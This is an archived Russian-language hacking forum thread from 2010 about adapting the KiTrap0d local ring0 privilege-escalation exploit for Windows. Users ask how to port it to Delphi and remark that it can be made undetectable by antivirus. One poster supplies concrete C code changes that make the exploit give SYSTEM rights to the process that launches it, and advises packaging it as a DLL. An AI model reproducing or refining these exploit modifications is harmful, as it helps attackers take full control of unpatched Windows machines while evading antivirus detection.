Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   KiTrap0d local ring0 exploit на DELPHI (https://forum.antichat.xyz/showthread.php?t=172545)

GlooK 22.01.2010 00:37

KiTrap0d local ring0 exploit на DELPHI
 
Возможно ли это?

В С++ шарю не очень, хотя команды похожие.
Подскажите, пожалуйста как сделать аналог на Delphi?

vdmallowed.exe
http://pastebin.com/m5f3df162

Начал с этого:
Код:

CreateProcess(nil, 'C:\\WINDOWS\\SYSTEM32\\CMD.EXE', nil, nil, true, CREATE_NEW_CONSOLE, nil, nil, si, pi);

Chrome~ 22.01.2010 01:18

Хм. Ну что ж... Неплохое и многообещающие начало! Самым лучшим вариантом было бы перевести код самого эксплоита на язык Delphi (на хабре выкладывали на C++).

Но EXE уже антивирем палится.

slesh 22.01.2010 10:41

По идее там можно сделать так чтобы ничем не палилось и без лишней DLL )
И даже не юзая debug.exe. Посмотри исходники и там быстро можно понять что и как.

Но на делфи переделывать не советую. Будут баги конкретные, в особенности в плане кода исполняемого в ring0 (если чуть не так напишеш)

sn0w 22.01.2010 18:51

делаю без дэлэлэ, посморим че выйдет)

GlooK 22.01.2010 18:53

Цитата:

Сообщение от sn0w
делаю без дэлэлэ, посморим че выйдет)

Оо, сэнкс. Будем ждать)

sn0w 22.01.2010 21:08

Вложений: 2
на си тока и я под вынь7 сделал. у меня тока тоталресеты, что говорит что работает но криво) разбираться уже сил нет)

короче я пытался тока р0 исполнение запустить без копирования маркера с привелегиями но видимо не туда улетаю( а вмвару надо еще скачать мля

slesh 23.01.2010 11:49

Вообще сплоит чуть мутноват. т.е. периодически систему в бсод кидает.
Я его чуть усовершенствовал. Теперь он не создает cmd с правами system.
Теперь он дает права system для той проги которая запускает его.
т.е. запускаем сплоит и та кто прога которая запустила его, сразу становится с правами system. Т.е. налог пингвиних рутовых сплоитов.
Чуть позже мож выложу мой апдейт

slesh 23.01.2010 12:00

Ну вот моя дороботка.
В файле vdmallowed.c правим
1) в начале добавляем #include <tlhelp32.h>
2) полностью удаляем функцию PrepareProcessForSystemToken
3) Этот код
Код:

if (PrepareProcessForSystemToken("C:\\WINDOWS\\SYSTEM32\\CMD.EXE", &ShellPid) != TRUE) {
        LogMessage(L_ERROR, "PrepareProcessForSystemToken() returned failure");
        goto finished;
}

заменяем на этот
Код:

ShellPid = GetParentPID();
if (!ShellPid)
{
        LogMessage(L_ERROR, "GetParentPID() returned failure");
        goto finished;
}

4) Вписываем вот эту функцию
Код:

ULONG GetParentPID()
{
        HANDLE h;
        ULONG pid;
        PROCESSENTRY32 pe32;
        ULONG ret = 0;

        pid = GetCurrentProcessId();

        h = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (h != INVALID_HANDLE_VALUE)
        {
                pe32.dwSize = sizeof(PROCESSENTRY32);

                if (!Process32First(h, &pe32))
                {
                        CloseHandle(h);
                        return 0;
                }
       
                do
                {
                        if (pe32.th32ProcessID == pid)
                        {
                                ret = pe32.th32ParentProcessID;
                                break;
                        }
                } while (Process32Next(h, &pe32));

                CloseHandle(h);
        }

        return ret;
}

т.е. вся идея не в том, чтобы создать процес и получить его пид, а в том, чтобы узнать пид родителя.

5) перед SpawnNTVDMAndGetUsefulAccess("C:\\WINDOWS\\SYSTEM3 2\\DEBUG.EXE", &VdmHandle)
пишем:

char buf[260];
GetSystemDirectoryA(buf, 256);
lstrcatA(buf, "\\debug.exe");
SpawnNTVDMAndGetUsefulAccess("C:\\WINDOWS\\SYSTEM3 2\\DEBUG.EXE", &VdmHandle)
заменяем на
SpawnNTVDMAndGetUsefulAccess(buf, &VdmHandle)

т.е. в данном случае мы не будем зависеть от диска на котором находится винда.

GlooK 23.01.2010 12:16

slesh, предложи что нить для delphi :)
Может хоть dll'ку сделать, чтобы из нее эти функции запускать.

slesh 23.01.2010 12:22

Ну так возьми сишный код самой проги, убери логирование и форми в виде DLL
и функцию main назови по другому и сделай экспортируемой


Время: 09:04